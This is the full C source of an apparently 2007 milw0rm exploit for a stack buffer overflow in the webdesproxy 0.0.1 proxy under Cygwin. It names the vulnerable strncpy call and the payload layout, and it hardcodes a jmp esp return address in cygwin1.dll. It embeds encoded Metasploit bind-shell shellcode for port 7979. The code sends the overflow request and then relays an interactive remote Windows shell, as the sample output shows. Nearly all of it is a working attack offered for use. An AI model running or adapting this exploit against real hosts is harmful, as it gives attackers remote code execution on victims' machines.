/*[ webdesproxy[v0.0.1]: (cygwin) remote buffer overflow exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xwdp-cygwin.c -o xwdp-cygwin *
* *
* syntax: *
* ./xwdp-cygwin [-r] -h host -p port *
* *
* webdesproxy homepage/url: *
* http://sourceforge.net/projects/webdesproxy/ *
* http://webdesproxy.sourceforge.net/ *
* *
* I was curious on how cygwin-related (stack) buffer overflows *
* behaved, so i browsed around for opensource cygwin-related *
* projects and this fella popped up. not overly popular, but *
* good for learning/exploration. one interesting note is it is *
* easy to make universal cygwin exploits as cygwin1.dll is *
* usually included with the program, making for possible static *
* jmp/call addresses no matter the windows (SP/Lang) version. *
* (excluding 64bit) *
* *
* Also, webdesproxy fork()s all of its subprocesses, so it *
* doesn't matter if it faults the first time. *
* *
* bug: *
* webdesproxy.c:111:strncpy(mb,myp,mypend-myp); *
* *
* exploitation method: *
* "GET http://[NOPx250][JMP4][EIP/"CALL ESP"][NOPx32][SC]/\n\n" *
* *
* To find the address needed for the EIP overwrite, use *
* findjmp.exe(the defined/default address should work out of the *
* box as the .dll is included with the program): *
* -------------------------------------------------------------- *
* C:\webdesproxy>findjmp.exe cygwin1.dll esp *
* Reg: esp *
* Scanning cygwin1.dll for code usable with the esp register *
* 0x61048690 push esp - ret *
* 0x6104936D jmp esp *
* 0x6112C494 push esp - ret *
* Finished Scanning cygwin1.dll for code usable with the esp r$ *
* Found 3 usable addresses *
* *
* example usage: *
* -------------------------------------------------------------- *
* [v9@fhalo v9]$ ./xwdp-cygwin -h desktop.fakehalo.lan -p 1111 *
* [*] webdesproxy[v0.0.1]: (cygwin) remote buffer overflow exp$ *
* [*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* [*] target: desktop.fakehalo.lan:1111 *
* [*] return address($eip/"CALL ESP"): 0x6104936d *
* [*] attempting to connect: desktop.fakehalo.lan:1111. *
* [*] successfully connected: desktop.fakehalo.lan:1111. *
* [*] sending string: *
* [+] "GET http://[NOPSx250][JMP4][EIP/"CALL ESP"][NOPSx32][S$ *
* [*] closing connection. *
* *
* [*] attempting to connect: desktop.fakehalo.lan:7979. *
* [*] successfully connected: desktop.fakehalo.lan:7979. *
* *
* Microsoft Windows XP [Version 5.1.2600] *
* (C) Copyright 1985-2001 Microsoft Corp. *
* *
* C:\cygwin> *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 1024
#define TIMEOUT 10
#define SPORT 7979
/* (WinXP home SP2. cygwin1.dll is included, so it should match */
/* no matter what. if not, run findjmp.exe on a used dll...) */
/* findjmp.exe cygwin1.dll esp */
/* ... */
/* 0x6104936D jmp esp */
/* ... */
#define DFL_RETADDR 0x6104936D
/* globals. */
/* win32_bind - EXITFUNC=thread LPORT=7979 Size=344 */
/* Encoder=PexFnstenvSub http://metasploit.com */
static char x86_bind[]=
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b"
"\x76\x8d\x13\x83\xeb\xfc\xe2\xf4\xb7\x1c\x66\x5e\xa3\x8f\x72\xec"
"\xb4\x16\x06\x7f\x6f\x52\x06\x56\x77\xfd\xf1\x16\x33\x77\x62\x98"
"\x04\x6e\x06\x4c\x6b\x77\x66\x5a\xc0\x42\x06\x12\xa5\x47\x4d\x8a"
"\xe7\xf2\x4d\x67\x4c\xb7\x47\x1e\x4a\xb4\x66\xe7\x70\x22\xa9\x3b"
"\x3e\x93\x06\x4c\x6f\x77\x66\x75\xc0\x7a\xc6\x98\x14\x6a\x8c\xf8"
"\x48\x5a\x06\x9a\x27\x52\x91\x72\x88\x47\x56\x77\xc0\x35\xbd\x98"
"\x0b\x7a\x06\x63\x57\xdb\x06\x53\x43\x28\xe5\x9d\x05\x78\x61\x43"
"\xb4\xa0\xeb\x40\x2d\x1e\xbe\x21\x23\x01\xfe\x21\x14\x22\x72\xc3"
"\x23\xbd\x60\xef\x70\x26\x72\xc5\x14\xff\x68\x75\xca\x9b\x85\x11"
"\x1e\x1c\x8f\xec\x9b\x1e\x54\x1a\xbe\xdb\xda\xec\x9d\x25\xde\x40"
"\x18\x25\xce\x40\x08\x25\x72\xc3\x2d\x1e\x92\x38\x2d\x25\x04\xf2"
"\xde\x1e\x29\x09\x3b\xb1\xda\xec\x9d\x1c\x9d\x42\x1e\x89\x5d\x7b"
"\xef\xdb\xa3\xfa\x1c\x89\x5b\x40\x1e\x89\x5d\x7b\xae\x3f\x0b\x5a"
"\x1c\x89\x5b\x43\x1f\x22\xd8\xec\x9b\xe5\xe5\xf4\x32\xb0\xf4\x44"
"\xb4\xa0\xd8\xec\x9b\x10\xe7\x77\x2d\x1e\xee\x7e\xc2\x93\xe7\x43"
"\x12\x5f\x41\x9a\xac\x1c\xc9\x9a\xa9\x47\x4d\xe0\xe1\x88\xcf\x3e"
"\xb5\x34\xa1\x80\xc6\x0c\xb5\xb8\xe0\xdd\xe5\x61\xb5\xc5\x9b\xec"
"\x3e\x32\x72\xc5\x10\x21\xdf\x42\x1a\x27\xe7\x12\x1a\x27\xd8\x42"
"\xb4\xa6\xe5\xbe\x92\x73\x43\x40\xb4\xa0\xe7\xec\xb4\x41\x72\xc3"
"\xc0\x21\x71\x90\x8f\x12\x72\xc5\x19\x89\x5d\x7b\xa4\xb8\x6d\x73"
"\x18\x89\x5b\xec\x9b\x76\x8d\x13";
struct{
unsigned int addr;
char *host;
unsigned short port;
}tbl;
/* lonely extern. */
extern char *optarg;
/* functions. */
char *getbuf(unsigned int);
unsigned short proxy_connect(char *,unsigned short);
signed int getshell_conn(char *,unsigned short);
void proc_shell(signed int);
void printe(char *,short);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* start. */
int main(int argc,char **argv){
signed int chr=0,rsock=0;
printf("[*] webdesproxy[v0.0.1]: (cygwin) remote buffer overflo"
"w exploit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)"
"\n\n");
tbl.addr=DFL_RETADDR;
while((chr=getopt(argc,argv,"h:p:r:"))!=EOF){
switch(chr){
case 'h':
if(!tbl.host&&!(tbl.host=(char *)strdup(optarg)))
printe("main(): allocating memory failed",1);
break;
case 'p':
tbl.port=atoi(optarg);
break;
case 'r':
sscanf(optarg,"%x",&tbl.addr);
break;
default:
usage(argv[0]);
break;
}
}
if(!tbl.host||!tbl.port)usage(argv[0]);
printf("[*] target: %s:%d\n",tbl.host,tbl.port);
printf("[*] return address($eip/\"CALL ESP\"): 0x%.8x\n",tbl.addr);
proxy_connect(tbl.host,tbl.port);
rsock=getshell_conn(tbl.host,SPORT);
if(rsock>0)proc_shell(rsock);
exit(0);
}
/* make buf: */
/* "GET http://[NOPSx250][JMP4][EIP/"CALL ESP"][NOPSx32][SHELLCODE]/\n\n" */
char *getbuf(unsigned int addr){
char *buf;
if(!(buf=(char *)malloc(BUFSIZE+1)))
printe("getbuf(): allocating memory failed.",1);
memset(buf,0,BUFSIZE);
memcpy(buf,"GET http://",11);
memset(buf+11,'\x90',250); /* filler/safe spot */
buf[11+250]=0xeb; /* jmp */
buf[11+250+1]=0x04; /* 4 bytes */
*(long *)&buf[11+250+2]=addr; /* new eip, points to call esp. */
memset(buf+11+250+4+2,'\x90',32); /* safe spot...just to be safe. */
memcpy(buf+11+250+4+2+32,x86_bind,strlen(x86_bind));
memset(buf+11+250+4+2+32+strlen(x86_bind),'/',1); /* needed to trigger */
memset(buf+11+250+4+2+32+strlen(x86_bind)+1,'\n',2); /* \n\n */
return(buf);
}
/* connects to the vulnerable webdexproxy server. */
unsigned short proxy_connect(char *hostname,unsigned short port){
signed int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char *)&s.sin_addr,(char *)t->h_addr,sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("webdesproxy connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
sleep(1);
printf("[*] sending string:\n");
printf("[+] \"GET http://[NOPSx250][JMP4][EIP/\"CALL ESP\"][NOPSx32]"
"[SHELLCODE]/\\n\\n\"\n");
write(sock,getbuf(tbl.addr),BUFSIZE);
sleep(1);
printf("[*] closing connection.\n\n");
close(sock);
return(0);
}
/* connects to bindshell. */
signed int getshell_conn(char *hostname,unsigned short port){
signed int sock=0;
struct hostent *he;
struct sockaddr_in sa;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell_conn(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell_conn(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
exit(1);
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
return(sock);
}
/* process the bind/connect-back shell. */
void proc_shell(signed int sock){
signed int r=0;
char buf[4096+1];
fd_set fds;
signal(SIGINT,SIG_IGN);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
/* error! */
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}
/* usage. */
void usage(char *progname){
printf("syntax: %s [-r] -h host -p port\n\n",progname);
printf(" -h <host/ip>\ttarget hostname/ip.\n");
printf(" -p <port>\ttarget port.\n");
printf(" -r <addr>\tdefine return/\"CALL ESP\" address. (0x%.8x)\n\n",tbl.addr);
exit(0);
}
// milw0rm.com [2007-05-12]
